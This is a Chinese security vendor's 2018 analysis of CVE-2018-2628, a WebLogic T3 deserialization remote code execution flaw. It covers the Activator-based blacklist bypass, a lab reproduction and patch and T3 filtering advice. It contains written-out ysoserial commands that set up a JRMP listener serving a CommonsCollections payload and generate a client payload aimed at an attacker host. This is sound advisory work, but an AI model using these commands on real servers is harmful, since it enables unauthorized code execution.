• 本文作者: 天融信安全应急响应中心
  • |
  • 2018年4月20日
  • |
  • 漏洞分析
  • |

CVE-2018-2628 WebLogic反序列化漏洞分析

一、背景介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

1. 漏洞描述

Oracle官方在2018年4月18日凌晨发布了关键补丁更新,其中包含了Oracle WebLogic Server的一个高危的Weblogic反序列化漏洞,通过该漏洞,攻击者可以在未授权的情况下远程执行代码。

此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。结合曾经爆出的Weblogic WLS 组件漏洞(CVE-2017-10271),不排除会有攻击者利用漏洞挖矿的可能,因此,建议受影响企业用户尽快部署防护措施。

2.漏洞编号

CVE-2018-2628

3.受影响版本

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

 

二、漏洞原理介绍:

目前这个漏洞是结合了历史问题实现的远程命令执行,具体概括有三点

1.反射机制

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

2.RMI

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这类库,那么会导致远程命令执行。

RMI依赖于Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

3.绕过黑名单

Weblogic 中InboundMsgAbbrev 的resolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry  ,找一个其他的rmi接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。

CVE-2018-2628_1

对比可以看到 ,除了接口换了,之后的rmi调用关系都一样。

 

java.rmi.activation.Activator->java.lang.reflect.Proxy->java/lang/reflect/InvocationHandler->

java.rmi.server.RemoteObjectInvocationHandler->java.rmi.server.RemoteObject->UnicastRef

Weblogic 使用了Apache Commons Collections库,看一下利用Commons Collections的代码。

CVE-2018-2628_2

这个是利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer他们的共同特点是都需要实现序列化接口才能被反序列化,关于这个的分析有很多不详细介绍。

RMI

首先服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections 的payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler。

 

java -cp ysoserial-0.0.5-SNAPSHOT-all.jar  ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc.exe

攻击端生成payload,目前接口还没有更新,可自行更改,可以看到接口用的是java.rmi.registry.Registry

java -jar ysoserial-0.0.5-SNAPSHOT-all.jar JRMPClient 192.168.3.6:1099 > 1

CVE-2018-2628_3

生成的payload发送给weblogic反序列化连接服务端,服务端把恶意序列化代码发送给weblogic,weblogic再反序列化实现攻击。

 

三、漏洞复现:

目前是本地搭建好weblogic 10.3.6.0, ip地址为192.168.3.3

本地起一个JRMPListener

CVE-2018-2628_4

恶意代码这里只是弹计算器

然后简单分析下poc

T3handshake 建立握手

 

buildT3RequestObject

这部分是判断看有没有打补丁版本信息等

CVE-2018-2628_5

SendEvilObjData

Payload 中多了两层封装,中间的data我们可以自己构造,跟以前利用方法一样

CVE-2018-2628_6

构造如下

CVE-2018-2628_7

这里的生成的是下面那个payload是之前的java.rmi.registry.Registry

,对比发现,这次的poc使用java.rmi.activation.Activator绕过了黑名单

CVE-2018-2628_8

可以看到黑名单里的接口是java.rmi.registry.Registry

CVE-2018-2628_9

把生成的payload跟PAYLOAD替换下

CVE-2018-2628_10

CVE-2018-2628_11

可以看到跟我们192.168.3.6 通信了把生成的恶意测试代码弹计算器发送给weblogic

CVE-2018-2628_12

 

四、修复建议

官方补丁

Oracle官方已经在4月18号的关键补丁更新中修复了此漏洞,受影响的用户请尽快升级更新进行防护。

可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。

 

手工修复

若要利用该漏洞, 攻击者首先需要与WebLogic Server提供的T3服务端口建立SOCKET连接, 运维人员可通过控制T3协议的访问权限来临时阻断漏洞利用。

WebLogic Server 提供了名叫“weblogic.security.net.ConnectionFilterImpl”的默认连接筛选器。该连接筛选器可控制所有传入连接,通过修改此连接筛选器规则,可对T3及T3S协议进行访问控制。

 

天融信产品解决方案

在该漏洞爆出的第一时间,天融信便对该漏洞进行了深入研究和分析,并制定了相关防御规则。

1、已经购买天融信入侵防御系统(TopIDP)的用户,可以通过规则库升级进行有效防护。

下载地址:

ftp.topsec.com.cn/入侵防御(TOP-IDP)/规则库升级/ips-v2018.04.18.tir

 

2、购买并部署天融信入侵防御系统进行防护,联系电话:800-810-5119

Written by 天融信安全应急响应中心